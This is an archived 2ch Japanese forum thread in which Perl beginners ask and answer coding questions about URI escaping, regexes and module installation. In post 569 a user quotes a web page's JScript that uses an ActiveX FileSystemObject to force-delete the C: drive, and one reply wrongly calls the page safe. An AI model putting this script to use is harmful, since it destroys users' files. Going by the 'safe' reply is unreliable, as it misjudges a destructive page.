【Perl】初心者コーナー Part12
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
02/04/27 23:17ID:1NNXdNspいらっしゃーい、Perlの「コーディング」で困ってる人のスレです。
1：自分はこう言う事がしたい。
2：それでこんな風にやってみたが･･･
3：それだとこんなエラーが出て上手く行かなかった。
1と3が無いと誰も答えられないよ、良い回答は良い質問から。
一緒に勉強しましょう。
CGIの質問は【CGIだけどなんか質問ある Pert 6 】
http://pc.2ch.net/test/read.cgi/php/1019561283/
参考書籍の話題は【【Perl,CGI】参考書籍 第２版 】
http://pc.2ch.net/test/read.cgi/php/988809842/
その他の雑多な話題は、【CGIに依存しないPerlの話題一般】
http://pc.2ch.net/test/read.cgi/php/991313362/
スクリプトの改造依頼は 【スクリプト改造工房 Part4 】
http://pc.2ch.net/test/read.cgi/php/1012839651/
過去ログ、その他の役立ち情報は>>2-10を見よう。
0550549
02/05/07 02:36ID:???HTTP/1.1ならできるはず。
0551nobodyさん
02/05/07 08:03ID:???アプロダ用意しといたので誰か使うときになったら使ってね
http://popup3.tok2.com/home/program/
0552nobodyさん
02/05/07 14:12ID:???ありません。
無理です。
0554nobodyさん
02/05/07 18:00ID:???0556nobodyさん
02/05/07 22:14ID:???どのようにしたらいいでしょうか。
ちなみに最初の一つだけ挿入できました。
0557nobodyさん
02/05/07 22:29ID:???http://www.din.or.jp/~ohzaki/perl.htm#NumberWithComma
0558nobodyさん
02/05/07 22:35ID:???0559nobodyさん
02/05/08 00:54ID:ZY3V1UfD調べてみたけど、"Visual Perl"しかめっかんなかった
http://www.activestate.com/Products/Visual_Perl/
これ、おもろそう、トライアル版ダウンしてみる
ところで、Active Perlと普通のUnixのPerlってどう違うの？
0560nobodyさん
02/05/08 14:33ID:???一覧表示するというものをつくりました。
その結果表示は１０件以上になると「次の１０件」をクリック
すると１１件以降のものが表示される、というようにしています。
ところが、例えば「大阪」というキーワードで検索すると、最初
の１０件は正常に結果が表示されます。
しかし次の１０件以降の検索結果表示がうまくでないのです。
どうやらキーワードの「大阪」が２度目以降の送信時に文字化け
して検索結果0件となり上手く検索ができないようなのです。
さらによくわからないのが、一度「検索結果0件」とでたあとに
ブラウザを再表示すると、正常な結果がでてくるのです。
（他、新潟、埼玉、神奈川なども上手くいきません）
他の文字列では正常に動作しているのですが、これは原因として
どのようなことが考えられるのでしょうか？
基本的なことなのかもしれませんが、宜しくお願いします。
0561nobodyさん
02/05/08 19:45ID:???URIエスケープしてなくない？
printf qq(<a href="%s">次の10件</a>), URI_Escape($search_value);
### URIエスケープ文字列を返す
sub URI_Escape {
my($string) = @_[0];
$string =~ s/(\W)/'%' . unpack('H2', $1)/eg;
return ($string);
}
0562nobodyさん
02/05/08 19:51ID:???のときにパターンマッチングでひらがな、カタカナ、英数、漢字を
かたまりにしてカンマで区切りたいのですがどうしたらよいのでしょうか。
希望出力結果としては
ああ,ss,嗚呼,aiu,アイウエ,ka,書,き,句,
としたいと思っています。入力はEUCで行っています。
どうもperlで漢字やカタカナを一文字ずつチェックする方法がわからなくて・・・。
Jperlを使わない方法では無理なのでしょうか？
0563nobodyさん
02/05/08 19:53ID:???printf qq(<a href="$0?value=%s">次の10件</a>), &URI_Escape($QUERY{'value'});
0565560
02/05/08 21:47ID:???ありがとうございます。
実はまだよくわかっていないんですが、とりあえずレスいただいた内容を
理解できるように調べることからはじめてみます。
0567564s
02/05/09 00:31ID:???そうか。頑張ってくれ。ここのText::BroakIterator.pmを見るといいよ。
http://perl.infoware.ne.jp/source.html
0568562
02/05/09 00:34ID:???ま、まさにこれです！これを作るために数日間
悩んでいた自分が馬鹿らしくなるくらいまさにこれそのものです！
ありがとうございます。こんな神のようなモジュールが存在するとは・・・。
0569訪問者
02/05/09 03:37ID:???あるページを訪問したとき、下記のようなソースのページを見つけました。
このページを訪れたとき、どのような効果があるのでしょうか？
素人目から見てもDeleteFolder等、少々怖い文字があるので直接は訪れては
いないのですが…。
よろしくお願い申し上げます。
<html>
<head><title>Delete Drive:C</title></head>
<body>
<script language="Jscript">
var fso
fso=new ActiveXObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\\",true);
</script>
</body>
<html>
0570nobodyさん
02/05/09 04:21ID:???どう見てもPerlではない。
0571nobodyさん
02/05/09 06:12ID:GzFA/V4O安全。安心してゴー。けどそのソース見る限り行った後の利益もなさそうだが
0572nobodyさん
02/05/09 12:01ID:???0573nobodyさん
02/05/09 13:53ID:???0574nobodyさん
02/05/09 15:39ID:???0575nobodyさん
02/05/09 15:55ID:???0576nobodyさん
02/05/09 16:33ID:???お前ら！人に聞く前にｸﾞｸﾞﾙってください。
http://google.com
0577nobodyさん
02/05/09 21:04ID:???0578nobodyさん
02/05/09 21:40ID:???'' や "" で囲っても - とかが勝手にエスケープされるんですけど・・・。
0579nobodyさん
02/05/10 00:53ID:???0580nobodyさん
02/05/10 01:23ID:???0581nobodyさん
02/05/10 01:40ID:pbuX7CBpやりかた、おせぇ〜て
0582nobodyさん
02/05/10 02:18ID:???中見ると、モジュールファイルが一個だけで、何処にコピーしたら
いいか分らないんだけど、
インターネットで検索すると、perl Makefile.PLしたあと、
makeしてみたいなか事書いてあるんだけど、
ん〜〜、どうなってすか？
おせぇ〜て
0584nobodyさん
02/05/10 12:01ID:???if($xx=2の倍数){$color=#FFFFFF;}
として2の倍数の時のみ色を白に変えたいんですけどどうすれば良いのでしょうか？
0585nobodyさん
02/05/10 12:30ID:???Googleサイトのマニュアルにある以上のことは無理。
>>581
Javaのエラーログがどんなのかは知らないが
Carp::cluckとCarp::confessをそれぞれwarnとdieの代わりに使ってみよ。
見当違いだったらすまそ。
>>582
ﾋﾟｭｱPerlなんだな？*.xsっつーファイルはないんだな？
それなら@INCにあるフォルダに突っ込めばとりあえずは動く可能性がある。
環境変数PERL5LIBの意味も調べてみろ。
0588数百のカテゴリ分け例を求む
02/05/10 12:46ID:xN5d7c7lSQLを使ってホームページの自動URLリンクプログラムを作っていますが、カテゴリー分けの作成に困っています。
数百程度に細かく分けたいのですが、自分で考えると偏りそうで。
カテゴリ分けサンプルなど参考になる文献やサイトはないでしょうか。
0589584
02/05/10 12:56ID:???私でしたら2で割る数の求め方を知らなかった人間ですので、
ちょっと。
0591nobodyさん
02/05/10 13:10ID:???http://directory.google.co.jp/
http://www.yahoo.co.jp/
真っ先に思いつくこれらは参考にならんのだろうか
0592nobodyさん
02/05/10 14:00ID:Pgg0tTKKやり方教えて・・・・。
0595nobodyさん
02/05/10 14:54ID:Pgg0tTKKhttp://sk.redbit.ne.jp/~tboard/cgiroom.html
ここの2番目のソースを見てみました。
どの辺がアップロードの処理なのか教えて・・・・・。
0596582
02/05/10 15:50ID:???レスども、
tar.gzの中に、Makefile.PLが入ってないんですよ、
単に、*.pmファイルがあるだけで、
こういう場合どなんでしょ？
0597nobodyさん
02/05/10 15:55ID:???あっ…！
>>584
すまん、間違えた
「割り切れたら」は
if(($xx % 2) == 0){ ... }
だったわ。
0598数十でもいいよ
02/05/10 16:37ID:mOuIPJt0ありがとうございます。こちらはとてもよく構成されていると思いますが、どうも全体が見渡せません。
1ページ程度内にすべてのカテゴリーが一覧として載っていて全体がわかりやすいカテゴリーのリストを探しています。
0599nobodyさん
02/05/10 16:57ID:???少しは努力しろよ
0600nobodyさん
02/05/10 17:10ID:ZA7s2wmA猿でも厨房でもわかるPerlの基礎について学べる
サイトを教えてください。（３にあるお薦めも難しいです・・・
0601nobodyさん
02/05/10 17:40ID:???「プログラミング」という行為、学習で perl が初めてなら、
先ず、javascript 辺りから始める事をお薦めします。
perl はある程度他の言語の「プログラミング」経験が
ある人じゃないと、いきなり学習するのは辛いかと…
0602nobodyさん
02/05/10 18:39ID:???ついつい文法がごっちゃになってエラー出してしまうｵｲﾗは逝ってよしですか？
0603nobodyさん
02/05/10 18:58ID:Pgg0tTKK◎;;;; ･∀･;;;） ﾁｸｰﾜ
￣￣￣￣
0604nobodyさん
02/05/10 21:05ID:DbBvL4haテストで10回に3回ほどサーバーが強制終了されてしまいます。
何がいけないのか教えてください。
ソースは
http://members.home.ne.jp/y-koike/bbs.txt
http://members.home.ne.jp/y-koike/show.txt
です。お願いします。
0606604
02/05/10 21:39ID:DbBvL4haWin2000でhttpdVer.1.39f、PerlはActivePerlです。
0607nobodyさん
02/05/10 21:53ID:/cNgrcGu0608nobodyさん
02/05/10 22:39ID:???ざっと見たが、とりあえずまともに動くコードには見えない。
だがサーバーが落ちるような原因は見当たらないな。
常に落ちるってのならともかく3/10じゃお手上げだ。
ついでに余計なおせっかいだが、
そのサンプルは相当な糞コードだな。
まともな本で勉強したほうがいいぞ。
0609604
02/05/10 23:06ID:DbBvL4haやっぱサンプルから横着しないで一から自作だな…
0610nobodyさん
02/05/11 02:07ID:qFv6V9OI無いですか？
0611nobodyさん
02/05/11 05:07ID:???0612nobodyさん
02/05/11 08:42ID:gbNCX/hH$hoge = "head:abc.abc.abc.def";
print "Before: $hoge\n";
$hoge =~ s/(head:)(abc\.)(.?)/$1$3/g;
print "After : $hoge\n";
このコードで、期待する結果として $hoge には head:def が
最終的に入るようにしたいのですが、やはり s/ の部分を
while で括るしかないのでしょうか？
$hoge =~ s/(head:)(abc\.)(.?)/$1$3/g;
$3 のところの特殊変数で「マッチしなかった文字列」なんて
あるわけないですよね…特定できないし…
0616nobodyさん
02/05/11 13:37ID:7MEyepY2CGIの動作を確認するならやはりこのように
オフラインでテストできるようにした方がいいのでしょうか？
俺もやるな。
あぷする手間も省けるし。
0623612
02/05/11 17:45ID:???文字列の "head:" と "abc." は固定です。"head:" は必ず、行頭に
１回しか出てきませんが、"abc." は色んなところで複数回出てきます。
"def" は固定ではないので >>615 の場合だと、"def" 以外の時は
機能しなくなってしまいます
0624nobodyさん
02/05/11 18:03ID:???勉強する気は無いんかと。()でグルーピングして * とか + とか {m,n} とか知らんのかと。
$hoge =~ s/(?:abc\.)+//;
0627nobodyさん
02/05/11 19:19ID:???0628しょぼいＳＥ
02/05/11 19:32ID:QCHMLNRj他人様のホームページをインラインフレームで表示するときに、表示した他人様のページのスクロールバーを消す方法ってある？
ＣＧＩでできるかと思ったけど、方法がわからん（−−；
0630612
02/05/11 19:51ID:???> 勉強する気は無いんかと。()でグルーピングして * とか + とか {m,n} とか知らんのかと。
ありがとうございます。ほとんど昨日、今日perl始めたばっかりの房なので…
() って、$1 とかに突っ込む以外にも効果あるんですね。
?: が無くても期待する結果が同じなのが謎なのでその辺を自分で勉強します
0631nobodyさん
02/05/11 20:19ID:???完璧に見切れます、というのならともかく「ほぼ」じゃダメだろ。
そもそも完璧じゃなさそうなのだが。まあ>>629が真実なんだろうな。
0632nobodyさん
02/05/11 20:23ID:???それはHTMLとかCSSの仕事。
HTMLならscrolling="no"、CSSならoverflow: hidden;あたり。Web製作板へGO。
0634616
02/05/11 22:28ID:???0635nobodyさん
02/05/12 00:32ID:Kq9I9f0Mどうすればいいのでしょうか？
おしえてください。
0637nobodyさん
02/05/12 00:39ID:???6文字で。
my @word = (0..9,'a'..'z','A'..'Z');
my $rand = '';
$rand .= $word[int rand @word] for (1..6);
0639nobodyさん
02/05/12 00:47ID:???0641パルお
02/05/12 01:40ID:eZiXZjwU0642nobodyさん
02/05/12 02:08ID:???>いらっしゃーい、Perlの「コーディング」で困ってる人のスレです。
>
>1：自分はこう言う事がしたい。
>2：それでこんな風にやってみたが･･･
>3：それだとこんなエラーが出て上手く行かなかった。
>
>1と3が無いと誰も答えられないよ、良い回答は良い質問から。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
というわけで>>641 2:3:が無いよ、と言わせてもらって >>4に載ってるここ見た？
http://member.nifty.ne.jp/hippo2000/perltips/lwpcook.html#COOKIES
0643nobodyさん
02/05/12 03:52ID:???my $num = shift;
print "$num => ", unpack("C*", chr($num)), "\n";
255 => 255
256 => 196128
257 => 196129
なんでこうなるの？
0644nobodyさん
02/05/12 14:08ID:9L9P3cqpuse Any〜でのデータベース使用の準備の後、
dbmopen〜|die〜;
tie〜|die〜;
の両方が死にます。
WindowsMeではパーミッション666のDBMデータベース使えないのでしょうか？
それともPerl5を入れれば改善されるのでしょうか？
激しく既出だとは思うのですが…
0645nobodyさん
02/05/12 14:56ID:???がいしゅつ以前の問題だろ…。
何でも良いからマニュアルの演算子の項を見れ。
ちなみに、それだとあらゆるプラットフォームで確実に死ぬ。
0646645
02/05/12 14:59ID:???それならそもそもuseをした時点で死ぬだろ。
0647nobodyさん
02/05/12 16:08ID:4Ko6xKbIたまに無限ループを作ってしまうことがあります。
その時にPerl.exeを強制終了させたいのですが、タスクマネージャから落とそうとすると
アクセスが拒否されて落とす事が出来ません。
再起動すれば問題無いのですが、煩雑ですし、Perl.exeが走ったままで使いつづけるのも怖いので
解決方法があればお教え願いたいです。
■ このスレッドは過去ログ倉庫に格納されています